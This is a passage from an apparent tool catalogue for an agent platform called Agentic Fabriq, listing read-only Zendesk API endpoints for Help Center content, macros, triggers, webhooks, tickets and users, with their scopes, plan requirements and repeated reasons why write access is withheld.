/api/v1/tools/zendesk/get-help-center-article-in-locale. Scopes: hc:read. zendesk_get_help_center_article_subscription (read) — Read an article subscription. Read one article subscription READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/get-help-center-article-subscription. Scopes: hc:read. zendesk_get_help_center_article_subscription_in_locale (read) — Read an article subscription in a locale. Read one article subscription in a specific locale READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/get-help-center-article-subscription-in-locale. Scopes: hc:read. zendesk_get_help_center_article_translation (read) — Read an article translation. Read one article's text in one locale READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/get-help-center-article-translation. Scopes: hc:read. zendesk_get_help_center_category (read) — Read a Help Center category. Read one Help Center category READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/get-help-center-category. Scopes: hc:read. zendesk_get_help_center_category_in_locale (read) — Read a Help Center category in a locale. Read one Help Center category in a specific locale READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/get-help-center-category-in-locale. Scopes: hc:read. zendesk_get_help_center_category_translation (read) — Read a category translation. Read one category's text in one locale READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/get-help-center-category-translation. Scopes: hc:read. zendesk_get_help_center_label (read) — Read a Help Center label. Read one Help Center label READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/get-help-center-label. Scopes: hc:read. zendesk_get_help_center_permission_group (read) — Read a Guide permission group. Read one Guide permission group READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/get-help-center-permission-group. Scopes: hc:read. zendesk_get_help_center_section (read) — Read a Help Center section. Read one Help Center section READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/get-help-center-section. Scopes: hc:read. zendesk_get_help_center_section_in_locale (read) — Read a Help Center section in a locale. Read one Help Center section in a specific locale READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/get-help-center-section-in-locale. Scopes: hc:read. zendesk_get_help_center_section_subscription (read) — Read a section subscription. Read one section subscription READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/get-help-center-section-subscription. Scopes: hc:read. zendesk_get_help_center_section_subscription_in_locale (read) — Read a section subscription in a locale. Read one section subscription in a specific locale READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/get-help-center-section-subscription-in-locale. Scopes: hc:read. zendesk_get_help_center_section_translation (read) — Read a section translation. Read one section's text in one locale READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/get-help-center-section-translation. Scopes: hc:read. zendesk_get_help_center_session (read) — Read the Help Center session. Return the current Help Center session's CSRF token. Diagnostic only READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/get-help-center-session. Scopes: hc:read. zendesk_get_help_center_user_segment (read) — Read a Help Center user segment. Read one Help Center user segment READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/get-help-center-user-segment. Scopes: hc:read. zendesk_get_help_center_vote (read) — Read a Help Center vote. Read one Help Center vote READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/get-help-center-vote. Scopes: hc:read. zendesk_get_macro (read) — Read one macro, including the actions it would apply. GET /api/v1/tools/zendesk/macro. Scopes: macros:read. zendesk_get_macro_attachment (read) — Show Macro Attachment. Shows the properties of the specified macro attachment READ ONLY: Agentic Fabriq exposes no macro create, update or delete. A macro is handed to every human agent as approved wording, so a subtly wrong one becomes outward exposure at human scale. GET /api/v1/tools/zendesk/get-macro-attachment. Scopes: macros:read. zendesk_get_me (read) — Identify the Zendesk account and user this connection authenticates as, with the user's numeric id, name, e-mail address and role. START HERE: it is the only call that proves the connection's subdomain and its credential belong to each other, and the `role` it returns is what explains a later permission error — an end user or light agent cannot read tickets through the API however the token is scoped. GET /api/v1/tools/zendesk/me. Scopes: users:read. zendesk_get_my_session (read) — Show the Currently Authenticated Session. Allowed For GET /api/v1/tools/zendesk/get-my-session. Scopes: users:read. zendesk_get_my_settings (read) — Show Current User Settings. Returns the settings for the currently authenticated user. This includes UI preferences for onboarding, tooltips, keyboard shortcuts, theme preferences, and other feature toggles GET /api/v1/tools/zendesk/get-my-settings. Scopes: users:read. zendesk_get_organization (read) — Read one Zendesk organization by numeric id. The id comes from a ticket's or a user's organization_id. GET /api/v1/tools/zendesk/organization. Scopes: organizations:read. zendesk_get_organization_related (read) — Counts of what hangs off one organization. GET /api/v1/tools/zendesk/organization-related. Scopes: organizations:read. zendesk_get_satisfaction_reason (read) — Show Reason for Satisfaction Rating. Allowed For PLAN-GATED: requires Suite Growth or above. GET /api/v1/tools/zendesk/get-satisfaction-reason. Scopes: satisfaction_ratings:read. zendesk_get_session (read) — Show Session. Allowed For GET /api/v1/tools/zendesk/get-session. Scopes: users:read. zendesk_get_ticket (read) — Read one Zendesk ticket by its numeric id, including subject, description, status, priority, type, requester_id, assignee_id, organization_id, tags and timestamps. The description is the ticket's opening message; the rest of the conversation is in zendesk_list_ticket_comments. GET /api/v1/tools/zendesk/ticket. Scopes: tickets:read. zendesk_get_ticket_audit (read) — Show Audit. Allowed for GET /api/v1/tools/zendesk/get-ticket-audit. Scopes: tickets:read. zendesk_get_ticket_by_conversation (read) — Show Ticket by Messaging Conversation ID. Returns the active ticket associated with the given Sunshine Conversations conversation id GET /api/v1/tools/zendesk/get-ticket-by-conversation. Scopes: tickets:read. zendesk_get_ticket_field (read) — Read one ticket field, with its type and allowed values. GET /api/v1/tools/zendesk/ticket-field. Scopes: tickets:read. zendesk_get_ticket_fields_many (read) — Show Many Ticket Fields. Returns multiple ticket fields in a single request GET /api/v1/tools/zendesk/get-ticket-fields-many. Scopes: tickets:read. zendesk_get_ticket_forms_many (read) — Show Many Ticket Forms. Takes an ids query parameter that accepts a comma-separated list of up to 100 ticket form ids. This endpoint is used primarily by the mobile SDK and the Web Widget PLAN-GATED: requires Support Growth or above. GET /api/v1/tools/zendesk/get-ticket-forms-many. Scopes: tickets:read. zendesk_get_ticket_metric (read) — Show Ticket Metrics. Returns a specific metric, or the metrics of a specific ticket GET /api/v1/tools/zendesk/get-ticket-metric. Scopes: tickets:read. zendesk_get_ticket_metrics (read) — One ticket's SLA-shaped timings: reply, resolution and reopen counts. GET /api/v1/tools/zendesk/ticket-metrics. Scopes: tickets:read. zendesk_get_ticket_related (read) — Counts and ids of what hangs off a ticket: incidents, followers, CCs. GET /api/v1/tools/zendesk/ticket-related. Scopes: tickets:read. zendesk_get_tickets_many (read) — Read up to 100 tickets by id in one call. GET /api/v1/tools/zendesk/tickets-many. Scopes: tickets:read. zendesk_get_trigger (read) — Show Ticket Trigger. Allowed For READ ONLY: Agentic Fabriq exposes no trigger create, update, reorder or delete. A trigger fires on every future ticket with no agent in the loop, so nothing it does afterwards would have an Agentic Fabriq audit row behind it. GET /api/v1/tools/zendesk/get-trigger. Scopes: triggers:read. zendesk_get_trigger_category (read) — Show Ticket Trigger Category. Returns the ticket trigger category with the specified ID READ ONLY: Agentic Fabriq exposes no trigger-category writes, for the same reason it exposes no trigger writes. PLAN-GATED: requires Support Growth or above. GET /api/v1/tools/zendesk/get-trigger-category. Scopes: triggers:read. zendesk_get_trigger_revision (read) — Show Ticket Trigger Revision. Fetches a revision associated with a ticket trigger. Ticket trigger revision history is only available on Enterprise plans READ ONLY: Agentic Fabriq exposes no trigger create, update, reorder or delete. A trigger fires on every future ticket with no agent in the loop, so nothing it does afterwards would have an Agentic Fabriq audit row behind it. GET /api/v1/tools/zendesk/get-trigger-revision. Scopes: triggers:read. zendesk_get_user (read) — Read one Zendesk user by numeric id: name, e-mail address, role, organization_id and active flag. The id comes from a ticket's requester_id or assignee_id, or from zendesk_search_users. GET /api/v1/tools/zendesk/user. Scopes: users:read. zendesk_get_user_entitlements (read) — Get Full User Entitlements. Returns the full entitlements for all Zendesk products (Explore, Voice, Knowledge, Live Chat) for the specified user. This includes the role name and active status for each product GET /api/v1/tools/zendesk/get-user-entitlements. Scopes: users:read. zendesk_get_user_fields_many (read) — Show Many User Fields. Returns multiple user fields by their keys GET /api/v1/tools/zendesk/get-user-fields-many. Scopes: users:read. zendesk_get_user_related (read) — Show User Related Information GET /api/v1/tools/zendesk/get-user-related. Scopes: users:read. zendesk_get_users_many (read) — Show Many Users. Accepts a comma-separated list of up to 100 user ids or external ids GET /api/v1/tools/zendesk/get-users-many. Scopes: users:read. zendesk_get_webhook (read) — Read a webhook. Read one webhook's endpoint, status and subscriptions. The authentication block is Zendesk's to redact, not Agentic Fabriq's — treat anything it returns as sensitive READ ONLY: Agentic Fabriq exposes no webhook create, update, test or delete. A webhook carries its own authentication config and points at an arbitrary URL — a standing, credentialed data pipe out of the account. GET /api/v1/tools/zendesk/get-webhook. Scopes: webhooks:read. zendesk_list_active_automations (read) — List Active Automations. Lists all active automations READ ONLY: Agentic Fabriq exposes no automation create, update or delete. An automation fires on a clock, with no ticket event and no agent anywhere in the loop. GET /api/v1/tools/zendesk/list-active-automations. Scopes: automations:read. zendesk_list_active_macros (read) — List Active Macros. Lists all active shared and personal macros available to the current user READ ONLY: Agentic Fabriq exposes no macro create, update or delete. A macro is handed to every human agent as approved wording, so a subtly wrong one becomes outward exposure at human scale. GET /api/v1/tools/zendesk/list-active-macros. Scopes: macros:read. zendesk_list_active_triggers (read) — List Active Ticket Triggers. Lists all active ticket triggers READ ONLY: Agentic Fabriq exposes no trigger create, update, reorder or delete. A trigger fires on every future ticket with no agent in the loop, so nothing it does afterwards would have an Agentic Fabriq audit row behind it. GET /api/v1/tools/zendesk/list-active-triggers. Scopes: triggers:read. zendesk_list_all_ticket_audits (read) — List All Ticket Audits. Returns ticket audits. Archived tickets are not included in the response. Use the List Audits for a Ticket endpoint to retrieve audit records for an archived ticket. To learn more about archived tickets, see About archived tickets GET /api/v1/tools/zendesk/list-all-ticket-audits. Scopes: tickets:read. zendesk_list_all_ticket_skips (read) — List All Skips. Lists all skips. Archived tickets are not included in the response. See About archived tickets in the Support Help Center PLAN-GATED: requires Suite Growth or above (guided mode). GET /api/v1/tools/zendesk/list-all-ticket-skips. Scopes: tickets:read. zendesk_list_app_installation_requirements (read) — List an app installation's requirements. List the Zendesk objects one app installation created and depends on — the triggers, targets and custom fields an app owns, which is why deleting them by hand breaks the app READ ONLY: Agentic Fabriq exposes no app install, update or removal. Installing an app puts third-party code with its own permissions into the account, and Agentic Fabriq cannot vet the party. GET /api/v1/tools/zendesk/list-app-installation-requirements. Scopes: apps:read. zendesk_list_app_installations (read) — List app installations. List which apps are actually installed in this account, as opposed to merely available READ ONLY: Agentic Fabriq exposes no app install, update or removal. Installing an app puts third-party code with its own permissions into the account, and Agentic Fabriq cannot vet the party. GET /api/v1/tools/zendesk/list-app-installations. Scopes: apps:read. zendesk_list_app_location_installations (read) — List app installations by location. List app installations grouped by the interface location they appear in READ ONLY: Agentic Fabriq exposes no app install, update or removal. Installing an app puts third-party code with its own permissions into the account, and Agentic Fabriq cannot vet the party. GET /api/v1/tools/zendesk/list-app-location-installations. Scopes: apps:read. zendesk_list_app_locations (read) — List app locations. List the interface locations an app can occupy READ ONLY: Agentic Fabriq exposes no app install, update or removal. Installing an app puts third-party code with its own permissions into the account, and Agentic Fabriq cannot vet the party. GET /api/v1/tools/zendesk/list-app-locations. Scopes: apps:read. zendesk_list_applicable_user_segments (read) — List usable user segments. List the user segments this account's plan actually allows READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-applicable-user-segments. Scopes: hc:read. zendesk_list_apps (read) — List apps. List the apps available to the account, marketplace and private alike. 'What else is touching this account' is real diagnostic context READ ONLY: Agentic Fabriq exposes no app install, update or removal. Installing an app puts third-party code with its own permissions into the account, and Agentic Fabriq cannot vet the party. GET /api/v1/tools/zendesk/list-apps. Scopes: apps:read. zendesk_list_audit_logs (read) — List Audit Logs. Allowed For Paginated read only — the bulk export endpoint is not exposed. Enterprise plans only. PLAN-GATED: requires Enterprise. GET /api/v1/tools/zendesk/list-audit-logs. Scopes: auditlogs:read. zendesk_list_automations (read) — List the account's automations: the standing rules that fire on a CLOCK rather than on a ticket event. The answer to 'why did this ticket change overnight with nobody on it'. READ ONLY: no automation create, update or delete is exposed. GET /api/v1/tools/zendesk/list-automations. Scopes: automations:read. zendesk_list_category_articles (read) — List a category's articles. List the articles in one Help Center category READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-category-articles. Scopes: hc:read. zendesk_list_category_sections (read) — List a category's sections. List the sections inside one category READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-category-sections. Scopes: hc:read. zendesk_list_category_sections_in_locale (read) — List a category's sections in a locale. List the sections inside one category in a specific locale READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-category-sections-in-locale. Scopes: hc:read. zendesk_list_ccd_requests (read) — List CCD Requests. Lists requests where the authenticated end user is CC'd GET /api/v1/tools/zendesk/list-ccd-requests. Scopes: requests:read. zendesk_list_comments (read) — Listing Comments. Pagination GET /api/v1/tools/zendesk/list-comments. Scopes: requests:read. zendesk_list_community_post_comment_votes (read) — List a post comment's votes. List the votes on one community post comment READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-community-post-comment-votes. Scopes: hc:read. zendesk_list_community_post_comments (read) — List a post's comments. List the comments on one community post READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-community-post-comments. Scopes: hc:read. zendesk_list_community_post_subscriptions (read) — List a post's subscribers. List who is subscribed to one community post READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-community-post-subscriptions. Scopes: hc:read. zendesk_list_community_post_votes (read) — List a post's votes. List the votes on one community post READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-community-post-votes. Scopes: hc:read. zendesk_list_community_posts (read) — List community posts. List every post in the community forum READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-community-posts. Scopes: hc:read. zendesk_list_community_topic_subscriptions (read) — List a topic's subscribers. List who is subscribed to one community topic READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-community-topic-subscriptions. Scopes: hc:read. zendesk_list_community_topics (read) — List community topics. List the community forum's topics — the top level of the community, the way categories are the top level of the knowledge base READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-community-topics. Scopes: hc:read. zendesk_list_custom_roles (read) — List Custom Roles. Availability READ ONLY: Agentic Fabriq exposes no custom-role writes. A custom role IS the permission system, including the permissions that gate deletion and redaction. PLAN-GATED: requires Enterprise. GET /api/v1/tools/zendesk/list-custom-roles. Scopes: users:read. zendesk_list_custom_ticket_statuses (read) — List the account's custom ticket statuses. Suite accounts can define statuses beyond new/open/pending/hold/solved/closed; those are set through zendesk_update_ticket's `custom_status_id`, not through `status`, which only accepts the six built-in categories. GET /api/v1/tools/zendesk/custom-ticket-statuses. Scopes: tickets:read. zendesk_list_deleted_tickets (read) — List soft-deleted tickets. This is where zendesk_restore_deleted_ticket's ids come from — a deleted ticket is not returned by zendesk_list_tickets or zendesk_get_ticket. Zendesk keeps one here for 30 days, and only while it has not been archived. GET /api/v1/tools/zendesk/deleted-tickets. Scopes: tickets:read. zendesk_list_deleted_users (read) — List Deleted Users. Returns deleted users, including permanently deleted users GET /api/v1/tools/zendesk/list-deleted-users. Scopes: users:read. zendesk_list_dynamic_contents (read) — List Items. Returns a list of all dynamic content items for your account if accessed as an admin or agents who have permission to manage dynamic content PLAN-GATED: requires Support Growth or above (multiple languages). GET /api/v1/tools/zendesk/list-dynamic-contents. Scopes: dynamic_content:read. zendesk_list_email_notifications (read) — List Email Notifications. Allowed For GET /api/v1/tools/zendesk/list-email-notifications. Scopes: tickets:read. zendesk_list_end_user_identities (read) — List End User Identities. Returns a list of identities for the given end user GET /api/v1/tools/zendesk/list-end-user-identities. Scopes: users:read. zendesk_list_featured_help_center_articles (read) — List featured articles. List the articles the account has promoted as featured READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-featured-help-center-articles. Scopes: hc:read. zendesk_list_group_users (read) — List Users By Group. Pagination GET /api/v1/tools/zendesk/list-group-users. Scopes: users:read. zendesk_list_help_center_article_attachments (read) — List an article's attachments. List the files attached to one article READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-help-center-article-attachments. Scopes: hc:read. zendesk_list_help_center_article_block_attachments (read) — List an article's block attachments. List only the block (downloadable) attachments of one article READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-help-center-article-block-attachments. Scopes: hc:read. zendesk_list_help_center_article_comments (read) — List an article's comments. List the end-user comments on one article. What customers say under an answer is the fastest signal that the answer is wrong READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-help-center-article-comments. Scopes: hc:read. zendesk_list_help_center_article_comments_in_locale (read) — List an article's comments in a locale. List one article's comments as published in a specific locale READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-help-center-article-comments-in-locale. Scopes: hc:read. zendesk_list_help_center_article_inline_attachments (read) — List an article's inline attachments. List only the inline (in-body) attachments of one article READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-help-center-article-inline-attachments. Scopes: hc:read. zendesk_list_help_center_article_labels (read) — List an article's labels. List the labels on one article READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-help-center-article-labels. Scopes: hc:read. zendesk_list_help_center_article_labels_in_locale (read) — List an article's labels in a locale. List the labels on one article in a specific locale READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-help-center-article-labels-in-locale. Scopes: hc:read. zendesk_list_help_center_article_subscriptions (read) — List an article's subscribers. List who is subscribed to one article — the people an edit would notify READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-help-center-article-subscriptions. Scopes: hc:read. zendesk_list_help_center_article_subscriptions_in_locale (read) — List an article's subscribers in a locale. List who is subscribed to one article in a specific locale READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-help-center-article-subscriptions-in-locale. Scopes: hc:read. zendesk_list_help_center_article_translations (read) — List an article's translations. List every locale one article has been translated into READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-help-center-article-translations. Scopes: hc:read. zendesk_list_help_center_article_votes (read) — List an article's votes. List the up and down votes on one article. The cheapest measure there is of whether a published answer actually works READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-help-center-article-votes. Scopes: hc:read. zendesk_list_help_center_article_votes_in_locale (read) — List an article's votes in a locale. List the votes on one article in a specific locale READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-help-center-article-votes-in-locale. Scopes: hc:read. zendesk_list_help_center_articles (read) — List Help Center articles. List every published Help Center article. This is the browse half of the knowledge base: article search finds a specific answer, this walks the whole set READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-help-center-articles. Scopes: hc:read. zendesk_list_help_center_articles_in_locale (read) — List Help Center articles in a locale. List the articles published in one locale, the way an end user in that language would see them READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-help-center-articles-in-locale. Scopes: hc:read. zendesk_list_help_center_categories (read) — List Help Center categories. List the top level of the knowledge base. Category, then section, then article is the browse path an agent needs when search returns nothing READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-help-center-categories. Scopes: hc:read. zendesk_list_help_center_categories_in_locale (read) — List Help Center categories in a locale. List the categories published in one locale READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-help-center-categories-in-locale. Scopes: hc:read. zendesk_list_help_center_category_translations (read) — List a category's translations. List every locale one category has been translated into READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-help-center-category-translations. Scopes: hc:read. zendesk_list_help_center_comment_votes (read) — List an article comment's votes. List the votes on one article comment READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-help-center-comment-votes. Scopes: hc:read. zendesk_list_help_center_comment_votes_in_locale (read) — List an article comment's votes in a locale. List the votes on one article comment in a specific locale READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-help-center-comment-votes-in-locale. Scopes: hc:read. zendesk_list_help_center_labels (read) — List Help Center labels. List every label in Help Center. Labels are how article search is narrowed, so this is the read that makes a filtered search possible READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-help-center-labels. Scopes: hc:read. zendesk_list_help_center_locales (read) — List Help Center locales. List the locales Help Center is published in, and which is the default READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-help-center-locales. Scopes: hc:read. zendesk_list_help_center_permission_groups (read) — List Guide permission groups. List the permission groups that decide which agents may edit which Help Center content READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-help-center-permission-groups. Scopes: hc:read. zendesk_list_help_center_section_subscriptions (read) — List a section's subscribers. List who is subscribed to one section READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-help-center-section-subscriptions. Scopes: hc:read. zendesk_list_help_center_section_subscriptions_in_locale (read) — List a section's subscribers in a locale. List who is subscribed to one section in a specific locale READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-help-center-section-subscriptions-in-locale. Scopes: hc:read. zendesk_list_help_center_section_translations (read) — List a section's translations. List every locale one section has been translated into READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET 